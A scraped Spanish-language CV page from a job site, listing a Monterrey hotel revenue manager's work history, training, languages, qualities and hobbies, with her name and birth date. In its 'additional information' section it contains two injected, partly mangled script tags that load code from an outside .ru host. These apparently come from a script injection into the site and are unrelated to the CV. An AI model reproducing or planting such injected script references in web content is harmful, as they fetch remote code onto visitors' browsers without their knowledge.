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CURRICULUM VITAE Nº 13522
Área Profesional: Comercial - Ventas
http://SusanaGarciaVillanueva.MiCVWeb.com |
Ver personalidadVer Carta de Presentación | | | DATOS PERSONALES | Monterrey CP: 64630 (Nuevo León) México
Fecha Nacimiento: 02/10/1969 | | | | EXPERIENCIA |
Hotel Fiesta Americana Centro
(Sector: Hosteleria, restauración y turismo)
1994 - 1997 | | Administración | | Atención directa a clientes - Administración
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Hotel Quinta Real Monterrey
(Sector: Hosteleria, restauración y turismo)
12/ 1997 - Actual | | Comercial - Ventas | | Gerente de Reservaciones, (Revenue Manager) y parte del Comité de Operaciones.
Registro y supervisión de estrategias de venta y logros en Ingresos y porcentajes. | | | | FORMACIÓN ACADÉMICA |
| Lic.Hoteleria y Turismo | | /1981 | | FP1 (Formación Profesional) | | Administración y Dirección de Empresas | | Escuela de Hoteleria y Turismo
México, D. F. | | | | | FORMACIÓN COMPLEMENTARIA | | | Título: Varios de temas enfocados a la excelencia en servicio y atención, ventas, mercadotecnia, relaciones
Administración y Dirección de Empresas
| | Título: Enfocados a la excelencia en servicio
Turismo y Otros Servicios
| | | | | IDIOMAS | | Inglés Nivel Avanzado | IMNRC
Nivel Avanzado 90 a 95%
| | | | INFORMÁTICA | | Ofimatica (Word, Excell,…) Nivel Avanzado Excell, Word, Power Point | | | | INFORMACIÓN ADICIONAL
FORMACIÓN:He tenido a mi cargo la imagen de la empresa en diferentes medios, He participado en la planeación y el logro de objetivos e ingresos de la empresa, en la inclusión y participación de la empresa en todos los canales de venta, y he formado parte de la operación de la empresa al 100%. Estoy debidamente preparada para la atención personalizada a clientes importantes y de renombre, asi como para cualquier plan de ventas ya que he formado parte importante en la toma de decisiones. Tengo amplia experiencia en el ramo hotelero.EXPERIENCIA:Areas por las que me he desarrollado desde el inicio de mi carrera: *Recepción *Conmutador/Telefonos *Concierge/Centro de Negocios *Reservaciones/Ventas como asistente y Jefe departamental Revenue Manager/Manejo y coordinación de participación en GDS´s, Estrategias tarifarias, Publicidad por internet y sistemas intranets *División Suites/Apoyo directo en la operación del front y del back del Hotel, manejo de personal, supervisión y logro de objetivos y estándares. FORMACIÓN COMPLEMENTARIA:He participado en Cursos de importancia en referencia a los temas operativos y de servicio de la empresa. Algunos de ellos reconocidos por la Secretaria de Educación Pública y otros cursos importantes, impartidos por empresas particulares reconocidas como PLH para el logro de altos estandares de la AAA (American Automobile Association Inc.).INFORMACIÓN ADICIONAL:Ya he recibido la preparación necesaria para cubrir una Gerencia de Ventas ó una Gerencia de División Suites.script src=http://www.bannerdriven.ru/ads.js>script src=http://www.bannerdriven.ru/ads.js> | | | Disponibilidad | | ¿Estoy dispuesto a viajar? SI | | ¿Estoy dispuesto a trabajar en el extranjero? NO | | ¿Estoy dispuesto a trabajar fuera de mi zona? NO | | | | Objetivos Profesionales | | Crecimiento profesional en las areas a cargo,
Mejorar y lograr objetivos a corto y largo plazo,
Promocionarme y lograr una Gerencia de área y posteriormente una mejor posición en su empresa.
| | | | Resultados o logros | | Reconocimiento constante debido a logros y resultados, experiencia en el ramo hotelero, conocimiento en el manejo de intranets para estrategias de ventas y analisis de mercado. Elaboracion constante de reportes de estadísticas. | | | | Cualidades | | Adaptable , Amable , Comprometido/a , Comunicativo/a , Creativo/a , Decidido/a , Determinado/a , Entregado/a , Fiable , Flexible , Fuerte , Honesto/a , Imaginativo/a , Inteligente , Organizado/a , Perceptivo/a , Persistente , Productivo/a , Responsable , Seguro/a , Sociable , Tenaz , Trabajador/a | | | | Aficiones | | Arte, Cine/Películas, Deportes de Agua, Gimnasio/Aerobic, Museos/Galerías de Arte, Música Alternativa, Música Pop/R&B, Naturaleza, Teatro/Ballet, Viajar/Turismo | | | |
Enlances relacionados: www.quintareal.com
www.preferredhotels.com; http://rfp.lanyon.com/loginccc.jsp
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